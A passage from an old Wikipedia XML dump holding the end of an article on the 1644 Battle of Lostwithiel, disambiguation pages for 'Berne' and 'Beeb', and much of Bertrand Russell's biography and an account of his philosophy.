After the overwhelming defeat at the [[Battle of Marston Moor]], which cost him the entire north of [[England]], [[Charles I of England|Charles I]] continued to defy the Parliamentarian forces. 

From his headquarters in [[Oxford, England|Oxford]], he marched west in pursuit of [[Robert Devereux, 3rd Earl of Essex]], who was invading the Royalist stronghold of [[Cornwall]]. [[Charles I of England|Charles]]'s army vastly outnumbered that of Devereux, and had the advantage of surprise.  On [[September 2]] [[1644]], [[Charles I of England|Charles]]'s army attacked the rear of Essex's force and quickly surrounded it at [[Lostwithiel]] in Cornwall, 30 miles west of [[Plymouth]], attacking from both the north and the east at the same time. Lostwithiel was strategically important during the [[English Civil War]] since it held the key to [[Fowey]], at the time a major seaport. 

Devereux and most of his cavalry managed to escape, but virtually all of the infantrymen, about 8,000, and the artillery fell into the King's hands. Only Major-General [[Philip Skippon]] and a few of his men succeeded in fighting their way out. Charles wheeled about and marched toward [[London]].

This setback for Parliament in [[Cornwall]], and the last major victory for the Royalists, was reversed by [[Sir Thomas Fairfax]] leading the [[New Model Army]] at or near [[Tresillian Bridge]], close to [[Truro]] on [[March 12]] [[1645]].

[[Category:Battles of the English Civil Wars|Lostwithiel]]
[[Category:History of Cornwall]]
{{battle-stub}}
{{UK-hist-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Berne (disambiguation)</title>
    <id>4161</id>
    <revision>
      <id>39118246</id>
      <timestamp>2006-02-10T21:01:26Z</timestamp>
      <contributor>
        <username>Vir</username>
        <id>876895</id>
      </contributor>
      <comment>edits per [[Wikipedia:Manual of Style (disambiguation pages)]]</comment>
      <text xml:space="preserve">'''[[Bern]]''' may refer to:

* [[Bern]] (or '''Berne'''), the name of the capital of [[Switzerland]] and of the surrounding [[Canton of Bern]].  The city houses the [[University of Berne]].
* [[Bern (district)]], a Swiss administrative district. 
* [[Berne, Germany]], a town in [[Lower Saxony]], [[Germany]]

'''Berne''' (or '''Bern''') is also the name of these places in the [[United States]]:
* [[Berne, Indiana]]
* [[Bern, Kansas]]
* [[Berne, New York]]
* [[Bern, Wisconsin]]
* [[Bern Township, Pennsylvania]]
* [[New Bern, North Carolina]]

'''Berne''' is somtimes also used as shorthand for: 
*[[Berne Convention for the Protection of Literary and Artistic Works]]
*[[Convention on the conservation of European wildlife and natural habitats|Berne Convention on the conservation of European wildlife and natural habitats]]
* Bern, the name of the Kingdom of Bern in the [[Fire Emblem]] [[videogame series]].

{{disambig}}

[[de:Berne (Begriffsklärung)]]
[[fr:Berne]]
[[pl:Berne (ujednoznacznienie)]]</text>
    </revision>
  </page>
  <page>
    <title>Beeb</title>
    <id>4162</id>
    <revision>
      <id>37255900</id>
      <timestamp>2006-01-29T20:50:55Z</timestamp>
      <contributor>
        <username>Rapido</username>
        <id>272421</id>
      </contributor>
      <minor />
      <comment>added Beeb magazine</comment>
      <text xml:space="preserve">{{wiktionary}}
The word '''Beeb''' usually refers to one of the following, as a [[nickname]]:

*The [[BBC|British Broadcasting Corporation (BBC)]] (sometimes called ''the Beeb'', or ''Auntie Beeb'') attributed to [[Kenny Everett]]
*The [[BBC Micro]] home computer from 1982, built for the BBC by Acorn Computers Ltd


[[Beeb (magazine)|Beeb]] was also a weekly children's magazine published in 1985.

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    <title>Bertrand Russell</title>
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      <text xml:space="preserve">{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western Philosophers |
  era             = [[20th-century philosophy]] |
  color           = #B0C4DE |

  &lt;!-- Image and Caption --&gt;
  image_name      = Bertrand Russell.jpg |
  image_caption   = Bertrand Russell |

  &lt;!-- Information --&gt;
  name             = Bertrand Arthur William Russell, 3rd Earl Russell |
  birth            = [[1872]] [[May 18]] ([[Trellech]], [[Wales]], [[United Kingdom]]) |
  death            = [[1970]] [[February 2]] ([[Penrhyndeudraeth]], [[Wales]], [[United Kingdom]]) |
  school_tradition = [[Analytic philosophy]] |
  main_interests   = [[Ethics]], [[Epistemology]], [[logic]], [[mathematics]], [[philosophy of language]], [[philosophy of science]], [[religion]]  |
  influences       = [[Euclid]], [[David Hume|Hume]], [[G.E. Moore]], [[Alfred North Whitehead]], [[Ludwig Wittgenstein|Wittgenstein]] |
  influenced       = [[Ludwig Wittgenstein|Wittgenstein]], [[A. J. Ayer]], [[Rudolf Carnap]], [[Kurt Gödel]], [[Karl Popper]], [[W. V. Quine]]|
  notable_ideas    = [[Logical atomism]], [[knowledge by acquaintance]] and [[knowledge by description]], [[Russell's paradox]], [[Russell's teapot]]. |
}}

'''Bertrand Arthur William Russell, 3rd Earl Russell''', [[Order of Merit|OM]], [[Fellow of the Royal Society|FRS]] ([[18 May]] [[1872]] &amp;ndash; [[2 February]] [[1970]]), was an influential British [[mathematical logic|logician]], [[philosopher]], and [[mathematician]], working mostly in the [[20th century]]. A prolific [[writer]], Bertrand Russell was also a populariser of [[philosophy]] and a commentator on a large variety of topics, ranging from very serious issues to the mundane. Continuing a family tradition in [[politics|political]] affairs, he was a prominent [[liberalism|liberal]] as well as a [[socialist]] and [[anti-war]] [[activism|activist]] for most of his long life. Millions looked up to Russell as a prophet of the [[creativity|creative]] and [[rationality|rational]] life; at the same time, his stances on many topics were extremely controversial.

Born at the height of [[United Kingdom|Britain]]'s [[economics|economic]] and political ascendancy, he died of [[influenza]] nearly a century later when the [[British Empire]] had all but vanished; its power dissipated in two victorious, but debilitating [[world war]]s. As one of the world's best-known [[intellectual]]s, Russell's voice carried enormous [[morality|moral]] [[authority]], even into his early 90s. Among his other political activities, Russell was a vigorous proponent of [[nuclear disarmament]] and an outspoken [[critic]] of the [[Vietnam War|American war in Vietnam]].

In [[1950]], Russell was made a [[Nobel Prize|Nobel Laureate]] in [[Nobel Prize in Literature|Literature]] &quot;in recognition of his varied and significant writings in which he champions [[humanitarian]] ideals and [[freethought|freedom of thought]]&quot;.

==Biography==
Bertrand Russell was born on [[18 May]] [[1872]] at [[Trellech]], [[Monmouthshire]], [[Wales]], into an [[aristocratic]] [[English people|English]] family. His paternal grandfather, [[John Russell, 1st Earl Russell]], had been the British [[Prime Minister]] in the [[1840s]] and [[1860s]], and was the second son of [[John Russell, 6th Duke of Bedford]]. The Russells had been prominent for several centuries in Britain, and were one of Britain's leading [[Whig]] (Liberal) families. Russell's mother Kate (née Stanley) was also from an aristocratic family, and was the sister of [[Rosalind Howard]], Countess of Carlisle. Russell's parents were quite radical for their times&amp;mdash;Russell's father, [[Viscount Amberley]], was an atheist and consented to his wife's affair with their children's tutor, the [[biologist]] [[Douglas Spalding]].  Both were early advocates of [[birth control]] at a time when this was considered scandalous. [[John Stuart Mill]], the [[Utilitarianism|Utilitarian]] philosopher, was Russell's [[Godparent|godfather]].

Russell had two siblings: [[Frank Russell, 2nd Earl Russell|Frank]] (nearly seven years older than Bertrand), and Rachel (four years older). In June [[1875]] Russell's mother died of [[diphtheria]], followed shortly by Rachel, and in January [[1876]] his father died of [[bronchitis]] following a long period of [[clinical depression|depression]]. Frank and Bertrand were placed in the care of their staunchly [[Victorian morality|Victorian]] grandparents, who lived at [[Pembroke Lodge, Richmond Park|Pembroke Lodge]] in [[Richmond Park]]. The first Earl Russell died in [[1878]], and his widow the Countess Russell (née Lady Frances Elliot) was the dominant family figure for the rest of Russell's childhood and youth. The countess was from a [[Scotland|Scottish]] [[Presbyterian]] family, and successfully petitioned a British [[court]] to set aside a provision in Amberley's [[will (law)|will]] requiring the children to be raised as agnostics. Despite her religious conservatism, she held progressive views in other areas (accepting [[Darwinism]] and supporting [[Irish Home Rule]]), and her influence on Bertrand Russell's outlook on [[social justice]] and standing up for principle remained with him throughout his life. However, the atmosphere at Pembroke Lodge was one of frequent prayer, emotional repression and formality - Frank reacted to this with open rebellion, but the young Bertrand learned to hide his feelings.

Russell's [[adolescence]] was very lonely, and he often contemplated [[suicide]]. He remarked in his autobiography that his keenest interests were in sex, religion and mathematics, and that only the wish to know more mathematics kept him from suicide. He was educated at home by a series of tutors, and he spent countless hours in his grandfather's library. His brother Frank introduced him to [[Euclid]], which transformed Russell's life.

Russell won a scholarship to read [[mathematics]] at [[Trinity College, Cambridge|Trinity College]], [[University of Cambridge|Cambridge University]], and commenced his studies there in [[1890]].  He became acquainted with the younger [[George Edward Moore|G.E. Moore]] and came under the influence of [[Alfred North Whitehead]], who recommended him to the [[Cambridge Apostles]].  He quickly distinguished himself in mathematics and philosophy, graduating with a B.A. in the former subject in 1893 and adding a fellowship in the latter in 1895.

Russell first met the American [[Religious Society of Friends|Quaker]], [[Alys Pearsall Smith]], when he was seventeen years old.  He fell in love with the puritanical, high-minded Alys, who was connected to several educationists and religious activists, and, contrary to his grandmother's wishes, he married her in December [[1894]]. Their [[marriage]] began to fall apart in [[1902]] when Russell realised he no longer loved her; they divorced nineteen years later. During this period, Russell had passionate (and often simultaneous) affairs with, among others, Lady [[Ottoline Morrell]] and the [[actor]] Lady [[Constance Malleson]]. Alys pined for him for these years and continued to love Russell for the rest of her life.

Russell began his published work in 1896 with ''[[Germany|German]] [[Social Democracy]]'', a study in politics that was an early indication of a lifelong interest in political and social theory. In 1896 he taught German social democracy at the [[London School of Economics]], where he also lectured on the science of power in the autumn of 1937.

Russell became a fellow of the [[Royal Society]] in [[1908]]. The first of three volumes of ''[[Principia Mathematica]]'' (written with Whitehead) was published in [[1910]], which (along with the earlier [http://fair-use.org/bertrand-russell/the-principles-of-mathematics ''The Principles of Mathematics'']) soon made Russell world famous in his field.  In [[1911]] he became acquainted with the Austrian engineering student [[Ludwig Wittgenstein]], whose genius he soon recognised (and whom he viewed as a successor who would continue his work on mathematical logic).  He spent hours dealing with Wittgenstein's various phobias and his frequent bouts of despair. The latter was often a drain on Russell's energy, but he continued to be fascinated by him and encouraged his [[academic]] development, including the publication of Wittgenstein's ''[[Tractatus Logico-Philosophicus]]'' in [[1922]].

During the [[First World War]], Russell engaged in pacifist activities, and in [[1916]] he was dismissed from [[Trinity College, Cambridge|Trinity College]] following his conviction under the [[Defence of the Realm Act]]. A later conviction resulted in six months' imprisonment in [[Brixton prison]] (see ''[[Bertrand Russell#Russell.27s activism|Activism]]'').

In [[1920]], Russell travelled to [[Russia]] as part of an official delegation sent by the British government to investigate the effects of the [[Russian Revolution of 1917|Russian Revolution]]. Russell's lover [[Dora Black]] also visited Russia independently at the same time - she was enthusiastic about the revolution, but Russell's experiences destroyed his previous tentative support for it.

Russell subsequently lectured in [[Peking]] on philosophy for one year, accompanied by Dora. While in China, Russell became gravely ill with [[pneumonia]], and [[List of premature obituaries|incorrect reports]] of his death were published in the Japanese press. When the couple visited Japan on their return journey, Dora notified journalists that &quot;Mr Bertrand Russell, having died according to the Japanese press, is unable to give interviews to Japanese journalists&quot;.

On the couple's return to England in [[1921]], Dora was five months pregnant, and Russell arranged a hasty divorce from Alys, marrying Dora six days after the divorce was finalised. Their children were [[John Conrad Russell, 4th Earl Russell]] and [[Katharine Russell|Katharine Jane Russell]] (now Lady Katharine Tait). Russell supported himself during this time by writing popular books explaining matters of physics, ethics and [[education]] to the layman. Together with Dora, he also founded the experimental [[Beacon Hill School (England)|Beacon Hill School]] in [[1927]]. After he left the school in 1932, Dora continued it until 1943.

Upon the death of his elder brother Frank, in [[1931]], Russell became the 3rd Earl Russell. He once said that his [[title]] was primarily useful for securing [[hotel]] rooms.

Russell's marriage to Dora grew increasingly tenuous, and it reached a breaking point over her having two children with an American [[journalist]], [[Griffin Barry]]. In [[1936]], he took as his third wife an [[University of Oxford|Oxford]] undergraduate named Patricia (&quot;Peter&quot;) Spence, who had been his children's [[governess]] since the summer of [[1930]]. Russell and Peter had one son, [[Conrad Russell, 5th Earl Russell|Conrad Sebastian Robert Russell]], later to become a prominent historian, and one of the leading figures in the [[Liberal Democrats (UK)|Liberal Democrat]] party.

In the spring of [[1939]], Russell moved to [[Santa Barbara, California|Santa Barbara]] to lecture at the [[University of California, Los Angeles]]. He was appointed professor at the [[City College of New York]] in 1940, but after public outcries, the appointment was annulled by the [[court]]s: his [[radical]] opinions made him &quot;morally unfit&quot; to teach at the college. The protest was started by the mother of a student who would not have been eligible for his graduate-level course in abstract, mathematical logic. Many intellectuals, led by [[John Dewey]], protested his treatment. Dewey and [[Horace M. Kallen]] edited a collection of articles on the CCNY affair in ''[[The Bertrand Russell Case]]''. He soon joined the [[Barnes Foundation of Philadelphia|Barnes Foundation]], lecturing to a varied audience on the history of philosophy - these lectures formed the basis of ''[[History of Western Philosophy (Russell)|A History of Western Philosophy]]''. His relationship with the eccentric [[Albert C. Barnes]] soon soured, and he returned to Britain in [[1944]] to rejoin the faculty of Trinity College.

During the 1940s and 1950s, Russell participated in many broadcasts over the [[BBC]] on various topical and philosophical subjects. By this time in his life, Russell was world [[famous]] outside of academic circles, frequently the subject or author of [[magazine]] and [[newspaper]] articles, and was called upon to offer up opinions on a wide variety of subjects, even mundane ones. ''A History of Western Philosophy'' ([[1945]]) became a best-seller, and provided Russell with a steady income for the remainder of his life. Along with his friend [[Albert Einstein]], Russell had reached superstar status as an intellectual. In [[1949]], Russell was awarded the [[Order of Merit]], and the following year he received the [[Nobel Prize in Literature]].

In [[1952]], Russell was divorced by Peter, with whom he had been very unhappy. Conrad, Russell's son by Peter, did not see his father between the time of the divorce and [[1968]] (at which time his decision to meet his father caused a permanent breach with his mother). Russell married his fourth wife, [[Edith Finch Russell|Edith Finch]], soon after the divorce. They had known each other since [[1925]], and Edith had lectured in English at [[Bryn Mawr College]] near [[Philadelphia]], sharing a house for twenty years with Russell's old friend Lucy Donnelly. Edith remained with him until his death, and, by all accounts, their relationship was close and loving throughout their marriage. Russell's eldest son, John, suffered from serious [[mental illness]], which was the source of ongoing disputes between Russell and John's mother, Russell's former wife, Dora. John's wife Susan was also mentally ill, and eventually Russell and Edith became the legal guardians of their three daughters (two of whom were later diagnosed with [[schizophrenia]]).

Russell spent the 1950s and [[1960s]] engaged in various political causes, primarily related to nuclear disarmament and opposing the Vietnam War. He wrote a great many letters to world leaders during this period. He also became a hero to many of the youthful members of the [[New Left]]. During the 1960s, in particular, Russell became increasingly vocal about his disapproval of the American government's policies. In 1963 he became the inaugural recipient of the [[Jerusalem Prize]], an award for writers concerned with the freedom of the individual in society.

Bertrand Russell published his three-volume autobiography in the late 1960s. While he grew frail, he remained lucid until the end, when, in [[1970]], he died in his home, [[Plas Penrhyn]], [[Penrhyndeudraeth]], [[Merioneth]], [[Wales]]. His ashes, as his will directed, were scattered.

==Russell's philosophical work==
===Analytic philosophy===
Russell is generally recognised as one of the founders of [[analytic philosophy]], indeed, even of its several branches. At the beginning of the 20th century, alongside [[G. E. Moore]], Russell was largely responsible for the British &quot;revolt against [[Idealism]]&quot;, a philosophy greatly influenced by [[Georg Hegel]] and his British apostle, [[F. H. Bradley]]. This revolt was echoed 30 years later in [[Vienna]] by the [[Logical positivism|logical positivists]]' &quot;revolt against metaphysics&quot;. Russell was particularly appalled by the [[idealist]] doctrine of internal [[relations]], which held that in order to know any particular thing, we must know all of its relations. Russell showed that this would make [[space]], [[time]], [[science]] and the concept of [[number]] unintelligible. Russell's logical work with [[Alfred North Whitehead|Whitehead]] continued this project.

Russell and Moore strove to eliminate what they saw as [[meaning]]less and incoherent assertions in philosophy, and they sought clarity and precision in argument by the use of exact [[language]] and by breaking down philosophical [[propositions]] into their simplest components. Russell, in particular, saw logic and [[science]] as the principal tools of the philosopher. Indeed, unlike most philosophers who preceded him and his early contemporaries, Russell did not believe there was a separate method for philosophy. He believed that the main task of the philosopher was to illuminate the most general propositions about the [[world]] and to eliminate confusion. In particular, he wanted to end what he saw as the excesses of [[metaphysics]]. Russell adopted [[William of Ockham]]'s principle against multiplying unnecessary entities, [[Occam's Razor]], as a central part of the method of analysis.

===Epistemology===
Russell's [[epistemology]] went through many phases. Once he shed [[neo-Hegelianism]] in his early years, Russell remained a philosophical [[realist]] for the remainder of his life, believing that our direct experiences have primacy in the acquisition of knowledge. While some of his views have lost favour, his influence remains strong in the distinction between two ways in which we can be familiar with objects: &quot;[[knowledge by acquaintance]]&quot; and &quot;[[knowledge by description]]&quot;. For a time, Russell thought that we could only be acquainted with our own [[sense data]]&amp;mdash;momentary [[perception]]s of [[colours]], [[sounds]], and the like&amp;mdash;and that everything else, including the [[Nature|physical]] objects that these were sense data ''of'', could only be inferred, or reasoned to&amp;mdash;i.e. known by description&amp;mdash;and not known directly. This distinction has gained much wider application, though Russell eventually rejected the idea of an intermediate sense datum.

In his later philosophy, Russell subscribed to a kind of [[neutral monism]], maintaining that the distinctions between the [[matter|material]] and [[mental]] worlds, in the final analysis, were arbitrary, and that both can be reduced to a neutral property&amp;mdash;a view similar to one held by the American philosopher, [[William James]], and one that was first formulated by [[Baruch Spinoza]], whom Russell greatly admired. Instead of James' &quot;pure experience&quot;, however, Russell characterised the stuff of our initial states of perception as &quot;events&quot;, a stance which is curiously akin to his old teacher [[Alfred North Whitehead|Whitehead]]'s [[process philosophy]].

===Ethics===
While Russell wrote a great deal on ethical subject matters, he did not believe that the subject belonged to philosophy or that when he wrote on ethics that he did so in his capacity as a philosopher. In his earlier years, Russell was greatly influenced by [[G.E. Moore]]'s ''Principia Ethica''. Along with Moore, he then believed that moral facts were objective, but only known through [[intuition]], and that they were simple properties of objects, not [[equivalent]] (e.g., pleasure is good) to the natural objects to which they are often ascribed (see [[Naturalistic fallacy]]), and that these simple, undefinable moral properties cannot be analyzed using the non-moral properties with which they are associated. In time, however, he came to agree with his philosophical [[hero]], [[David Hume]], who believed that ethical terms dealt with [[subjective]] [[values]] that cannot be verified in the same way that matters of fact are. Coupled with Russell's other doctrines, this influenced the [[logical positivists]], who formulated the theory of [[emotivism]], which states that ethical propositions (along with those of [[metaphysics]]) were essentially meaningless and nonsensical or, at best, little more than expressions of [[attitude (psychology)|attitude]]s and [[preferences]]. Notwithstanding his influence on them, Russell himself did not construe ethical propositions as narrowly as the positivists, for he believed that ethical considerations are not only meaningful, but that they are a vital subject matter for [[civil]] discourse. Indeed, though Russell was often characterised as the [[patron saint]] of rationality, he agreed with [[David Hume|Hume]], who said that reason ought to be subordinate to ethical considerations.

Russell wrote some books about practical ethical issues such as marriage. His opinions on this field are liberal. He argues that sexual relationships outside of marriages are acceptable. In his book, ''Human Society in Ethics and Politics'' (1954), he advocates in favor of the view that we should see moral issues from the point of view of the desires of individuals. Individuals are allowed to do what they desire, as long as there are no conflicting desires among different individuals. Desires are not bad, in and of themselves, but on occasion, their potential or actual consequences are. Russell also writes that punishment is important only in an instrumental sense. Thus we should not punish someone solely for the sake of punishment.

===Logical atomism===
Perhaps Russell's most systematic, metaphysical treatment of philosophical analysis and his empiricist-centric logicism is evident in what he called [[Logical atomism]], which is explicated in a set of [[lectures]], &quot;The Philosophy of Logical Atomism,&quot; which he gave in [[1918]]. In these lectures, Russell sets forth his [[concept]] of an [[ideal]], [[isomorphic]] language, one that would mirror the world, whereby our knowledge can be reduced to terms of [[wikt:atomic|atomic]] propositions and their [[truth-function]]al compounds. Logical atomism is a form of radical empiricism, for Russell believed the most important requirement for such an ideal language is that every meaningful proposition must consist of terms referring directly to the objects with which we are acquainted, or that they are defined by other terms referring to objects with which we are acquainted. Russell excluded certain formal, logical terms such as ''all'', ''the'', ''is'', and so forth, from his isomorphic requirement, but he was never entirely satisfied about our understanding of such terms. One of the central themes of Russell's atomism is that the world consists of logically independent facts, a plurality of facts, and that our knowledge depends on the data of our direct experience of them. In his later life, Russell came to doubt aspects of logical atomism, especially his principle of isomorphism, though he continued to believe that the process of philosophy ought to consist of breaking things down into their simplest components, even though we might not ever fully arrive at an ultimate [[wikt:atomic|atomic]] [[fact]].

===Logic and philosophy of mathematics===
Russell had great influence on modern [[mathematical logic]]. The American philosopher and logician [[Willard Quine]] said Russell's work represented the greatest influence on his own work.

Russell's first mathematical book, ''An Essay on the Foundations of Geometry'', was published in [[1897]]. This work was heavily influenced by [[Immanuel Kant]]. Russell soon realised that the conception it laid out would have made [[Albert Einstein]]'s schema of [[space-time]] impossible, which he understood to be superior to his own system. Thenceforth, he rejected the entire [[Kantian]] program as it related to mathematics and [[geometry]], and he maintained that his own earliest work on the subject was nearly without value.

Interested in the definition of [[number]], Russell studied the work of [[George Boole]], [[Georg Cantor]], and [[Augustus De Morgan]], while materials in the Bertrand Russell Archives at [[McMaster University]] include notes of his reading in algebraic logic by [[Charles S. Peirce]] and [[Ernst Schröder]]. He became convinced that the foundations of mathematics were tied to logic, and following [[Gottlob Frege]] took an extensionalist approach in which logic was in turn based upon set theory. In [[1900]] he attended the first [[International Congress of Philosophy]] in [[Paris]] where he became familiar with the work of the Italian mathematician, [[Giuseppe Peano]]. He mastered Peano's new symbolism and his set of [[axioms]] for [[arithmetic]]. Peano was able to define logically all of the terms of these axioms with the exception of ''0'', ''number'', ''successor'', and the singular term, ''the''. Russell took it upon himself to find logical definitions for each of these. Between 1897 and 1903 he published several articles applying Peano's notation to the classical Boole-Schröder algebra of relations, among them ''On the Notion of Order'', ''Sur la logique des relations avec les applications à la théorie des séries'', and ''On Cardinal Numbers''.

Russell eventually discovered that [[Gottlob Frege]] had independently arrived at equivalent definitions for ''0'', ''successor'', and ''number'', and the definition of number is now usually referred to as the Frege-Russell definition. It was largely Russell who brought Frege to the attention of the English-speaking world. He did this in [[1903]], when he published [http://fair-use.org/bertrand-russell/the-principles-of-mathematics/ ''The Principles of Mathematics''], in which the concept of class is inextricably tied to the definition of number. The appendix to this work detailed a paradox arising in Frege's application of second- and higher-order functions which took first-order functions as their arguments, and he offered his first effort to resolve what would henceforth come to be known as the Russell Paradox. In writing ''Principles'', Russell came across Cantor's proof that there was no greatest [[cardinal number]], which Russell believed was mistaken. The Cantor Paradox in turn was shown (for example by Crossley) to be a special case of the Russell Paradox. This caused Russell to analyze [[class (set theory)|classes]], for it was known that given any number of elements, the number of classes they result in is greater than their number. In turn, this led to the discovery of a very interesting class, namely, the class of all classes, which consists of two kinds of classes: classes that are members of themselves, and classes that are not members of themselves, which led him to find that the so-called principle of extensionality, taken for granted by logicians of the time, was fatally flawed, and that it resulted in a contradiction, whereby Y is a member of Y, if and only if, Y is not a member of Y. This has become known as [[Russell's paradox]], the solution to which he outlined in an appendix to ''Principles'', and which he later developed into a complete theory, the [[Theory of types]]. Aside from exposing a major inconsistency in [[naive set theory]], Russell's work led directly to the creation of modern [[set theory|axiomatic set theory]]. It also crippled Frege's project of reducing arithmetic to logic. The Theory of Types and much of Russell's subsequent work have also found practical applications with [[computer science]] and [[information technology]].

Russell continued to defend [[logicism]], the view that mathematics is in some important sense reducible to logic, and along with his former teacher, [[Alfred North Whitehead]], wrote the monumental ''[[Principia Mathematica]]'', an [[axiomatic system]] on which all of mathematics can be built. The first volume of the ''Principia'' was published in [[1910]], which is largely ascribed to Russell. More than any other single work, it established the specialty of mathematical or symbolic logic. Two more volumes were published, but their original plan to incorporate geometry in a fourth volume was never realised, and Russell never felt up to improving the original works, though he referenced new developments and problems in his preface to the second edition. Upon completing the ''Principia'', three volumes of extraordinarily [[Abstraction|abstract]] and complex reasoning, Russell was exhausted, and he never felt his intellectual faculties fully recovered from the effort. Although the ''Principia'' did not fall prey to the [[paradox]]es in Frege's approach, it was later proven by [[Kurt Gödel]] that neither ''Principia Mathematica'', nor any other consistent system of primitive recursive arithmetic, could, within that system, determine that every proposition that could be formulated within that system was decidable, i.e. could decide whether that proposition or its negation was provable within the system ([[Gödel's incompleteness theorem]]).

Russell's last significant work in mathematics and logic, ''Introduction to Mathematical Philosophy'', was written by hand while he was in [[jail]] for his [[anti-war]] activities during [[World War I]]. This was largely an explication of his previous work and its philosophical significance.

===Philosophy of language===
Russell was not the first philosopher to suggest that language had an important bearing on how we understand the world; however, more than anyone before him, Russell made language, or more specifically, ''how we use language'', a central part of philosophy. Had there been no Russell, it seems unlikely that philosophers such as [[Ludwig Wittgenstein]], [[Gilbert Ryle]], [[J. L. Austin]], and [[P. F. Strawson]], among others, would have embarked upon the same course, for so much of what they did was to amplify or respond, sometimes critically, to what Russell had said before them, using many of the techniques that he originally developed. Russell, along with Moore, shared the idea that clarity of expression is a virtue, a notion that has been a touchstone for philosophers ever since, particularly among those who deal with the philosophy of language.

Perhaps Russell's most significant contribution to [[philosophy of language]] is his [[theory of descriptions]], as presented in his seminal essay, &quot;On Denoting&quot;, first published in [[1905]], which the mathematician and philosopher [[Frank P. Ramsey]] described as &quot;a paradigm of philosophy.&quot; The theory is normally illustrated using the phrase &quot;the present King of France&quot;, as in &quot;The present [[Germanic king|king]] of [[France]] is bald.&quot; What object is this [[proposition]] ''about'', given that there is not, at present, a king of France? (Roughly the same problem would arise if there were two kings of France at present: which of them does &quot;''the'' king of France&quot; denote?) [[Alexius Meinong]] had suggested that we must posit a realm of &quot;nonexistent entities&quot; that we can suppose we are referring to when we use expressions such as this; but this would be a strange [[theory]], to say the least. [[Gottlob Frege|Frege]], employing his distinction between sense and reference, suggested that such sentences, although meaningful, were neither true nor false. But ''some'' such propositions, such as &quot;''If'' the present king of France is bald, ''then'' the present king of France has no hair on his head,&quot; seem not only truth-valuable but indeed obviously true.

The problem is general to what are called &quot;[[definite description]]s.&quot; Normally this includes all terms beginning with &quot;the&quot;, and sometimes includes names, like &quot;Walter Scott.&quot; (This point is quite contentious: Russell sometimes thought that the latter terms shouldn't be called names at all, but only &quot;disguised definite descriptions,&quot; but much subsequent work has treated them as altogether different things.) What is the &quot;logical form&quot; of definite descriptions: how, in Frege's terms, could we paraphrase them in order to show how the [[truth]] of the whole depends on the truths of the parts? Definite descriptions appear to be like names that by their very nature denote exactly one thing, neither more or less.  What, then, are we to say about the proposition as a whole if one of its parts apparently isn't functioning correctly?

Russell's [[solution]] was, first of all, to analyze not the term alone but the entire proposition that contained a definite description. &quot;The present king of France is bald,&quot; he then suggested, can be reworded to &quot;There is an x such that x is a present king of France, nothing other than x is a present king of France, and x is bald.&quot; Russell claimed that each definite description in fact contains a claim of [[existence]] and a claim of uniqueness which give this appearance, but these can be broken apart and treated separately from the predication that is the obvious content of the proposition. The proposition as a whole then says three things about some object: the definite description contains two of them, and the rest of the [[Sentence (linguistics)|sentence]] contains the other. If the object does not exist, or if it is not unique, then the whole sentence turns out to be [[false]], not meaningless.

One of the major complaints against Russell's theory, due originally to Strawson, is that definite descriptions do not claim that their object exists, they merely presuppose that it does.  Strawson also claims that a denoting phrase that does not, in fact, denote anything could be supposed to follow the role of a &quot;Widgy's inverted truth-value&quot; and expresses the opposite meaning of the intended phrase.  This can be shown using the example of &quot;The present king of France is bald&quot;. Taken with the inverted truth-value methodology the meaning of this sentence becomes &quot;It is true that there is no present king of France who is bald&quot; which changes the denotation of 'the present king of France' from a primary denotation to a secondary one.

[[Wittgenstein]], Russell's student, later achieved considerable prominence in the philosophy of language. Russell thought Wittgenstein's elevation of [[language]] as the only [[reality]] with which philosophy need be concerned was absurd, and he decried his influence and the influence of his followers, especially members of the so-called &quot;Oxford school&quot; of [[ordinary language philosophy]], who he believed were promoting a kind of [[mysticism]]. Russell's belief that there is more to philosophy and knowing the world than simply understanding how we use language has regained prominence in philosophy and eclipsed Wittgenstein's language-centric views.

===Philosophy of science===
Russell frequently claimed that he was more convinced of his ''method'' of doing philosophy, the method of analysis, than of his philosophical conclusions. Science, of course, was one of the principal components of analysis, along with logic and mathematics. While Russell was a believer in the [[scientific method]], knowledge derived from [[empirical research]] that is verified through repeated testing, he believed that science reaches only tentative answers, and that scientific progress is piecemeal, and attempts to find organic unities were largely futile. Indeed, he believed the same was true of philosophy. Another founder of [[modern]] philosophy of science, [[Ernst Mach]], placed less reliance on method, per se, for he believed that any method that produced predictable results was satisfactory and that the principal role of the [[scientist]] was to make successful [[predictions]]. While Russell would doubtless agree with this as a practical matter, he believed that the ultimate objective of ''both'' science and philosophy was to ''understand'' [[reality]], not simply to make predictions.

The fact that Russell made science a central part of his method and of philosophy was instrumental in making the [[philosophy of science]] a full-blooded, separate branch of philosophy and an area in which subsequent philosophers specialised. Much of Russell's thinking about science is exposed in his [[1914]] book, ''Our Knowledge of the External World as a Field for Scientific Method in Philosophy''. Among the several schools that were influenced by Russell were the [[logical positivists]], particularly [[Rudolph Carnap]], who maintained that the distinguishing feature of scientific propositions was their verifiability. This contrasted with the theory of [[Karl Popper]], also greatly influenced by Russell, who believed that their importance rested in the fact that they were ''potentially'' falsifiable.

It is worth noting that outside of his strictly philosophical pursuits, Russell was always fascinated by science, particularly [[physics]], and he even authored several popular science books, ''The ABC of Atoms'' (1923) and ''The ABC of Relativity'' (1925).

===Religion and theology===
Russell's ethical outlook and his personal [[courage]] in facing controversies were certainly informed by his [[religious]] upbringing, principally by his paternal grandmother, who instructed him with the [[Biblical]] injunction, &quot;Thou shalt not follow a multitude to do evil&quot; ([[Exodus]] 23:2), something he said influenced him throughout his life.

For most of his adult life, however, Russell thought it very unlikely that there was a [[god]], and he maintained that [[religion]] is little more than [[superstition]] and, despite any positive effects that religion might have, it is largely harmful to people. He believed religion and the religious outlook (he considered [[communism]] and other systematic [[ideologies]] to be species of religion) serve to impede knowledge, foster [[fear]] and dependency, and are responsible for much of the [[war]], oppression, and misery that have beset the world.

In his 1949 speech, &quot;Am I an Atheist or an Agnostic?&quot;, Russell expressed his difficulty over whether to call himself an [[atheist]] or an [[agnostic]]:
{{Quotation|As a philosopher, if I were speaking to a purely philosophic audience I should say that I ought to describe myself as an Agnostic, because I do not think that there is a conclusive argument by which one prove that there is not a God. On the other hand, if I am to convey the right impression to the ordinary man in the street I think that I ought to say that I am an Atheist, because, when I say that I cannot prove that there is not a God, I ought to add equally that I cannot prove that there are not the Homeric gods.|Bertrand Russell|Collected Papers, vol. 11, p. 91}}

